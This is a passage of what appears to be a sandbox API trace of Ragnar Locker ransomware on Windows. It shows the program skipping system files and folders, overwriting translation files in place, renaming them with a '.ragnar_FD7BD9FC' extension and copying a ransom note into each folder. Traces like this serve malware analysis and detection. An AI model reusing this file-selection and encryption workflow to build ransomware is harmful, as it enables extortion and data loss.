lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.637] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0077.637] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2=".") returned 1 [0077.637] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="..") returned 1 [0077.637] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808539a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.637] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.637] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.637] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808539a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.637] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x808539a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.637] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x808539a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.637] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0077.637] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.637] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1ENES.ITS" | out: lpString1="MSB1ENES.ITS") returned="MSB1ENES.ITS" [0077.638] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned=".ITS" [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="autorun.inf") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="boot.ini") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="bootfont.bin") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="bootsect.bak") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="bootmgr") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="bootmgr.efi") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="bootmgfw.efi") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="desktop.ini") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="iconcache.db") returned 1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="ntldr") returned -1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="ntuser.dat") returned -1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="ntuser.dat.log") returned -1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="ntuser.ini") returned -1 [0077.638] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="thumbs.db") returned -1 [0077.638] lstrcmpiW (lpString1=".ITS", lpString2=".db") returned 1 [0077.638] lstrcmpiW (lpString1=".ITS", lpString2=".sys") returned -1 [0077.638] lstrcmpiW (lpString1=".ITS", lpString2=".dll") returned 1 [0077.638] lstrcmpiW (lpString1=".ITS", lpString2=".lnk") returned -1 [0077.638] lstrcmpiW (lpString1=".ITS", lpString2=".msi") returned -1 [0077.638] lstrcmpiW (lpString1=".ITS", lpString2=".drv") returned 1 [0077.638] lstrcmpiW (lpString1=".ITS", lpString2=".exe") returned 1 [0077.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0077.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.639] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=978206) returned 1 [0077.639] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xeed15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.639] GetProcessHeap () returned 0x580000 [0077.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.639] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.640] VirtualAlloc (lpAddress=0x0, dwSize=0xeed1e, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0077.640] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.640] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.641] ReadFile (in: hFile=0x100, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xeed1e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0xeed1e, lpOverlapped=0x0) returned 1 [0077.661] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.666] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeed1e, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.666] WriteFile (in: hFile=0x100, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xeed1e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0xeed1e, lpOverlapped=0x0) returned 1 [0077.669] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeed1e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.669] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.673] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xeed1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.673] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.673] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.673] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.673] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.674] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.674] GetProcessHeap () returned 0x580000 [0077.674] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.674] CloseHandle (hObject=0x100) returned 1 [0077.674] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" [0077.674] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.ragnar_FD7BD9FC" [0077.674] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808539a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.674] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.674] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.674] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.674] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808539a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x808539a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.675] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.675] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2=".") returned 1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="..") returned 1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Windows") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Windows.old") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Tor browser") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Internet Explorer") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Google") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Opera") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Opera Software") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Mozilla") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="Mozilla Firefox") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="$Recycle.Bin") returned 1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="ProgramData") returned -1 [0077.675] lstrcmpiW (lpString1="ENFR", lpString2="All Users") returned 1 [0077.675] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.675] lstrcpyW (in: lpString1=0x1eb638, lpString2="ENFR" | out: lpString1="ENFR") returned="ENFR" [0077.675] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\" [0077.675] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\" [0077.675] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\RGNR_FD7BD9FC.txt" [0077.675] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.677] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*" [0077.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.677] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.677] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8089fc60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.677] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8089fc60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.677] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.677] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0077.677] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2=".") returned 1 [0077.677] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="..") returned 1 [0077.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8089fc60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.678] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.678] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8089fc60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.678] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8089fc60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8089fc60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0077.678] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.678] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1ENFR.ITS" | out: lpString1="MSB1ENFR.ITS") returned="MSB1ENFR.ITS" [0077.678] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned=".ITS" [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="autorun.inf") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="boot.ini") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="bootfont.bin") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="bootsect.bak") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="bootmgr") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="bootmgr.efi") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="bootmgfw.efi") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="desktop.ini") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="iconcache.db") returned 1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="ntldr") returned -1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="ntuser.dat") returned -1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="ntuser.dat.log") returned -1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="ntuser.ini") returned -1 [0077.678] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="thumbs.db") returned -1 [0077.678] lstrcmpiW (lpString1=".ITS", lpString2=".db") returned 1 [0077.678] lstrcmpiW (lpString1=".ITS", lpString2=".sys") returned -1 [0077.678] lstrcmpiW (lpString1=".ITS", lpString2=".dll") returned 1 [0077.678] lstrcmpiW (lpString1=".ITS", lpString2=".lnk") returned -1 [0077.678] lstrcmpiW (lpString1=".ITS", lpString2=".msi") returned -1 [0077.678] lstrcmpiW (lpString1=".ITS", lpString2=".drv") returned 1 [0077.678] lstrcmpiW (lpString1=".ITS", lpString2=".exe") returned 1 [0077.679] GetFileAttributesW 